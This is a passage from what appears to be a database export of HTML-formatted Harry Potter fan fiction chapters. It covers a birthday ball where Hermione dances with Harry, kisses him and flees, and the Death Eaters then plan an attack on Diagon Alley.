style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh its so\nnice to finally meet you,&quot; said a plump woman next to Arthur: Lady\nMolly.&nbsp; &quot;Ron and Harry have written\nso much about you that I feel like I know you well.&quot;&nbsp; She then did something completely unexpected\nby throwing her arms around Hermione!&nbsp;\nNeedless to say, Hermione was completely startled by this sudden display\nof motherly affection from a noble woman she had just met.&nbsp; She finally managed to stutter out a\n&quot;Thank you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She was then approached by another red head who\nseemed to be carrying himself around with high nobility and aristocracy:\nPercy.&nbsp; &quot;Miss Granger, how\nabsolutely delightful to meet your acquaintance,&quot; he said with much posh\nas he took a bow and stuck out his hand.&nbsp;\nBefore she could shake it however, Percy was pushed aside by one of the\ntwins: Fred.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Miss\nGranger, how stupendously wonderful meet you,&quot; he said in a mocking tone\nas he shook her hand.&nbsp; He was then\npushed aside by George who said &quot;Absolutely smashing to meet you,&quot; as\nhe shook her hand.&nbsp; Hermione stifled a laugh as Percy scowled at Fred and George.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Do you two\nalways mock your brother like that?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The twins made a serious face as Fred said,\n&quot;Oh, only when he gets all posh and snobby.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">George continued, &quot;Which happens to\nbe...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Once...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Or\ntwice...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Every minute...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;All\nday...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Shut\nup!&quot; shouted a very irritated Percy.&nbsp;\nLady Molly was scowling, but Harry and Ron were snickering.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Anyway,&quot;\nsaid Fred with an innocent look on his face.&nbsp;\n&quot;Would you like a piece of bread?&quot;&nbsp; He offered her a small piece of bread.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Why, thank\nyou very much,&quot; said Hermione.&nbsp;\nBefore she could eat it, however, Harry grabbed Hermione\'s wrist, took\nthe piece of bread, and popped it into Fred\'s mouth.&nbsp; Ron and George started howling with laughter as Fred\'s hair\nturned blue!&nbsp; After a few moments silence, Fred also started laughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">\'Oh, so that\'s\nwhat Ron meant by being careful around these two,\' thought Hermione as she too\nlaughed.&nbsp; She immediately stopped laughing\nwhen she saw a beautiful young red headed girl around the same age as her.&nbsp; Hermione suddenly became very aware of how\nplain she looked when she saw the noble girl who was none other than Lady\nVirginia.&nbsp; She was wearing a beautiful\ngolden dress that brought out the full color of her hair.&nbsp; Her brilliant red hair was tied back in an\nelegant bun, leaving a few locks cascading around her face.&nbsp; She had a few, light freckles around her\nsmall nose and her chocolate brown eyes shone with life.&nbsp; What struck Hermione the most however, was the affection those eyes showed when they saw Harry.&nbsp;\nHermione, all of a sudden felt miserable.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Does she\nfancy him?&quot; she whispered to Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Fancy\nhim?&quot; said Ron.&nbsp; &quot;She\'s\nabsolutely crazy about him.&nbsp; Back when\nwe were children, she always turned bright red and couldn\'t utter a single\nsentence right whenever Harry was around.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Does he\nfancy her back?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I don\'t\nknow.&nbsp; I never asked.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione looked down sadly.&nbsp; If anybody were to be with a Knight like\nHarry, it would have to be a noble lady such as Lady Virginia.&nbsp; She was a farm girl.&nbsp; There was no competition what so ever.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;It is good\nto see you again, Sir Harry,&quot; said Lady Virginia as she kissed his cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry smiled and kissed her hand.&nbsp; &quot;It is good to see you too,\nmilady.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Virginia then turned to Ron and gave him a\nhug.&nbsp; &quot;I missed you, Ron.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron grinned as he hugged her back.&nbsp; &quot;Really?&quot; he said.&nbsp; &quot;I thought you were hoping that I would\nbe banished from this castle in a matchbox.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Ron, shut\nup!&quot; said Virginia as she pulled away.&nbsp;\nShe then noticed Hermione and gave her smile, &quot;You must be\nHermione.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione curtsied and said, &quot;I\'m am very\nhonored, Lady Virginia, that you wish for a mere muggle-born as myself to\nattend your celebration of your sixteenth year.&nbsp; I am...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Please, call\nme Ginny,&quot; cut off Lady Virginia (or rather, Ginny).&nbsp; &quot;And I don\'t want you to use such\nridiculous formalities with me.&nbsp; You\nwere invited because you\'re Ron and Harry\'s friend.&nbsp; Besides, I really wanted to get to know you and I hope we could\nreally be friends.&quot;&nbsp; She then\nlooked at Hermione\'s blue and white robes.&nbsp;\n&quot;Do you have anything to wear to the celebration?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was suddenly interested in her\nshoes.&nbsp; &quot;No, these robes are all I\nown,&quot; she said sadly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;We\'ll take care of that,&quot; said\nGinny.&nbsp; She took Hermione\'s hand and\npulled her out into the corridor.&nbsp;\n&quot;I\'ll show you to your room,&quot; she said with a smile.&nbsp; &quot;I\'ll dress you up in one of my\ndresses.&nbsp; You\'re going to look\nabsolutely beautiful tonight.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As Ginny led her to her room, Hermione wondered\nif a lowly farm girl like herself could ever look as beautiful as the elegant\nLady Virginia.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 8, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: The characters of this story belong\nto J.K. Rowling.&nbsp; The story is mine.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 8: The Birthday Celebration</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The Weasleys went all out for their only\ndaughter\'s birthday celebration.&nbsp; The\nguest list itself was impressive with members of the nobility from the Kingdoms\nof Ravenclaw and Hufflepuff, and a fair number of Mage Knights, A good number\nof Hogwarts trainers, and a number of other names well known to the inhabitants\nof Magiterran.&nbsp; Although the House of\nWeasley was one of the less fortunate of the nobility, due to the fall of the\nKingdom of Gryffindor, they were still able to throw one of the biggest feasts\never to be served by house elves.&nbsp; They\nhad also hired a large orchestra to play many of the songs that people were to\ndance to.&nbsp; They mostly played waltzes,\nbut Fred and George managed to pass out some of their music which they were\ndetermined to have played: they called it &quot;Latin&quot; and\n&quot;Swing&quot;.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">In her room, Hermione was examining herself in\nthe mirror.&nbsp; &quot;You look lovely,\ndear,&quot; said the mirror.&nbsp; Hermione\nhad to agree.&nbsp; She was dressed in an\nelegant sky blue dress that fit her form perfectly.&nbsp; The skirt flared out below the sash and the straps went around\nher upper arms, leaving her shoulders bare.&nbsp;\nHer normally bushy hair cascaded around her face in small ringlets.&nbsp; Her face had just the slightest hint of make\nup that highlighted her lips and eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Just perfect,&quot; said Ginny from\nacross the room.&nbsp; &quot;You really look\ngorgeous, Hermione.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione looked towards Ginny who was wearing a\nsimilar dress, only hers was gold.&nbsp;\n&quot;Thank you so much for lending me this dress,&quot; she said.&nbsp; &quot;I promise, I\'ll try not to spoil\nit.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ginny waved a hand.&nbsp; &quot;Don\'t bother,&quot; she replied.&nbsp; &quot;Well it is my birthday after all, so I\'ll go on ahead.&nbsp; You just relax and have fun.&nbsp; I\'ll see you later.&quot;&nbsp; With that, she took off to the feast.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione admired herself in the mirror for a\nlittle while longer before heading out.&nbsp;\nIn the corridor, she ran into Harry and Ron.&nbsp; Hermione turned red when she saw their mouths drop at the sight\nof her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You look beautiful,&quot; said Harry, a\nradiant smile on his face that made Hermione\'s insides melt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron grinned.&nbsp;\n&quot;Shall we escort you down to the hall, milady?&quot; he said as\nboth he and Harry offered her their arms.&nbsp;\nHermione smiled and laced each of her arms through theirs.&nbsp; They proceeded to make their way to the\nGreat Hall where the celebration was taking place.&nbsp; As soon as they got there, Hermione looked around for a number of\nfamiliar faces she knew would be attending.&nbsp;\nShe recognized a number of Mage Knights who greeted the trio as they\nentered.&nbsp; To her surprise, she even saw\nSir Draco Malfoy amongst the guests.&nbsp; It\nwas well known that all of the Weasleys disliked Draco Malfoy and that he\nlooked down on them.&nbsp; It was therefore\nsurprising that he had been invited, as well as the fact that he had\naccepted.&nbsp; Draco did nothing more but\nsimply stare at Hermione, making her a little uncomfortable.&nbsp; Hermione also recognized a number of\nHogwarts trainers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;All righ\'\nthere, yeh three?&quot; called Hagrid as they made their way into the Great\nHall.&nbsp; Hermione, Harry, and Ron beamed\nat him as they took their seats: Ron sat with his family at the high table\nwhile Harry and Hermione sat with the guests.&nbsp;\nAs they ate, Hermione decided to observe the behavior of the many noble\nguests whom had attended: she was still a little uncomfortable about being the\nonly common muggle-born at the celebration.&nbsp;\nShe noticed Ron\'s brothers, Bill and Charlie, whom had arrived shortly\nafter they had, chatting amicably with the Mage Knights.&nbsp; She also spotted Fred and George who were\ntesting some of their inventions on various people, causing spontaneous bursts\nof laughter as people started to change into canaries or grow five-foot long\ntongues.&nbsp; One of their favorite targets\nwas Percy, whom seemed really irritated as he was trying to impress various\nnobles.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione picked up her goblet and took a\nsip.&nbsp; The drink tasted good and seemed\nto warm up her insides as it went down her throat.&nbsp; &quot;What is this?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Butterbeer,\none of the best drinks that exists,&quot; answered Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After everyone had eaten their fill, Lord\nArthur stood up and called for everyone\'s attention.&nbsp; &quot;I wish to thank all of you for attending my daughter\'s\nsixteenth birthday celebration.&nbsp; I am\npleased to see so many faces willing to turn up, despite the ongoing war\nagainst the Death Eaters.&nbsp; Now, the\ndance is about to start and I believe that it shall be opened by the lady of\nhonor herself.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Upon hearing her father\'s speech, Ginny stood\nup and made her way towards Harry.&nbsp;\n&quot;May I have this dance?&quot; she asked him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;It would be\nmy pleasure, milady.&quot;&nbsp; Harry took\nGinny\'s hand as the two made their way to the center of the dance floor.&nbsp; The orchestra started playing a slow tune\nand Harry and Ginny started to waltz around the dance floor.&nbsp; Hermione looked at them with a sad look on\nher face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">\'They look so\nperfect with each other,\' she thought sadly.&nbsp;\n\'A person like Harry deserves the best like Ginny.&nbsp; I am only the lowly farm girl who can only\nsee her knight in shining armor find happiness in the arms of another woman,\nknowing that we can never be together.\'&nbsp;\nHermione\'s eyes started to get misty.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Is something\nwrong, Miss Granger?&quot; asked a voice right next to her, causing Hermione to\njump.&nbsp; She turned around and looked into\nthe face of Professor Minerva McGonagall, one of her Hogwarts trainers.&nbsp; She was a stern looking woman with green\nrobes, oval shaped glasses, and black hair which she never let out of her bun.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Professor\nMcGonagall, you surprised me,&quot; said Hermione, putting her hand on her\nchest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">McGonagall looked at Harry and Ginny, whom had\nnow been joined by a number of other dancing couples.&nbsp; &quot;And to imagine, he once told me he didn\'t dance,&quot; she\nmuttered.&nbsp; She looked at Hermione and\nsaid &quot;You seem to be miserable, Miss Granger.&nbsp; Whatever is the matter?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh, it\'s\nnothing important.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I see.&nbsp; Well, if you ever wish to talk about it, I\nwould be more than willing to listen and to help.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione gave McGonagall a small smile.&nbsp; &quot;Thank you, Professor.&quot;&nbsp; She looked back toward the dance floor.&nbsp; Ginny had switched partners and was now\ndancing with a different Mage Knight.&nbsp;\nRon was dancing with a noble lady.&nbsp;\nFred and George were also swinging around the dance floor, purposely\ndisrupting many of the couples.&nbsp;\nSuddenly, Hermione noticed that Harry was standing right in front of\nher, with a small smile on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;May I have\nthis dance?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Wh...what?&quot;\nstammered Hermione.&nbsp; &quot;Y...you want\nt...to dance w...with me?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry grinned.&nbsp;\n&quot;Come on, Hermione.&nbsp; It\'ll\nbe fun!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;B...but, I\ncan\'t dance!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Its\neasy.&nbsp; Just follow my lead and leave\neverything up to me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry dragged a reluctant Hermione on to the\ndance floor and proceeded to waltz with her as the orchestra struck up another\nslow piece.&nbsp; After a few moments,\nHermione found that dancing was indeed easy and was soon managing the steps\nwithout trouble.&nbsp; It was absolute bliss\nto be in Harry\'s arms, but at the same time, she felt very sad.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Harry,&quot;\nshe said trying to make conversation.&nbsp;\n&quot;Do you ever think about...love?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry looked surprised by her question.&nbsp; &quot;What brought this up?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\'m just...curious.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry was silent for a while as they continued\nto waltz around the floor.&nbsp; Finally, he\nspoke up, &quot;I grew up without parents, denied of any form of affection what\nso ever.&nbsp; Sometimes I wonder whether\nsome one would ever love me.&nbsp; But what I\ndo know is that if there is someone who actually falls in love with me, then I\nwill try to love her back every bit as much as so great a woman deserves.&nbsp; Then, we could raise a family, and I will be\nable to provide my children and my wife the love that I was always\ndenied.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione closed her eyes as she thought sadly\n\'Oh, Harry.&nbsp; I love you so much.&nbsp; And yet, we can never ever be\ntogether.\'&nbsp; Tears started to roll down\nher cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry noticed the tears and frowned.&nbsp; &quot;Hermione, what\'s wrong?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione couldn\'t hold it within herself\nanymore.&nbsp; She leaned forward and kissed\nHarry on the lips, completely shocking him.&nbsp;\nThen, before he could react, she tore away from the dance hall and ran\nstraight to her room.&nbsp; She locked the\ndoor and cast a number of spells to make sure that no one disturbed her.&nbsp; After that, she flopped onto her bed, buried\nher face in her pillow and burst into tears.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 9, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">I don\'t own any of the characters in this\nstory, got that?&nbsp; They belong to J.K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 9: A New Mission</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;WHAT?!&nbsp; WHAT DID YOU JUST SAY?!&quot;&nbsp; Lucius\'s screams echoed throughout the chamber.&nbsp;\nSome of the Death Eaters shifted uncomfortably.&nbsp; Wormtail started shivering.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;It has been\nconfirmed,&quot; said Wormtail.&nbsp;\n&quot;Lords Sirius Black and Remus Lupin have returned to\nMagiterran.&nbsp; They have landed on the\nwestern coast of the Kingdom of Hufflepuff along with the exiled Gryffindor\narmies and are marching toward Hogwarts.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;As if the\nloss of the Mirror of Erised wasn\'t bad enough,&quot;\nmuttered Lucius.&nbsp; &quot;The Mage Knights\nwill probably figure out where the rings are within the next few days.&nbsp; Then, they\'ll probably gather all the armies\nin Magiterran, arm themselves with the rings and...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;With all due\nrespect,&quot; spoke up another, tall slim, Death Eater.&nbsp; &quot;Black and Lupin will probably meet\nwith the Mage Knights at Diagon Alley.&nbsp;\nIf we attack them there, at their weakest, we could probably crush them before they\'ve had a chance to\nmobilize at Hogwarts.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;That\'s a\nbrilliant idea, Avery,&quot; said Lucius.&nbsp;\n&quot;Why don\'t you and Crouch lead this mission.&nbsp; Oh, and take Wormtail with you.&nbsp; After all, he has some personal experience\nwith Black and Lupin; Don\'t you Wormtail?&quot;&nbsp; Wormtail shivered but bowed.&nbsp;\n&quot;If there is nothing more, than you are all dismissed.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As the Death Eaters made their way out of the\nchamber, Icicle stole away and went down a different 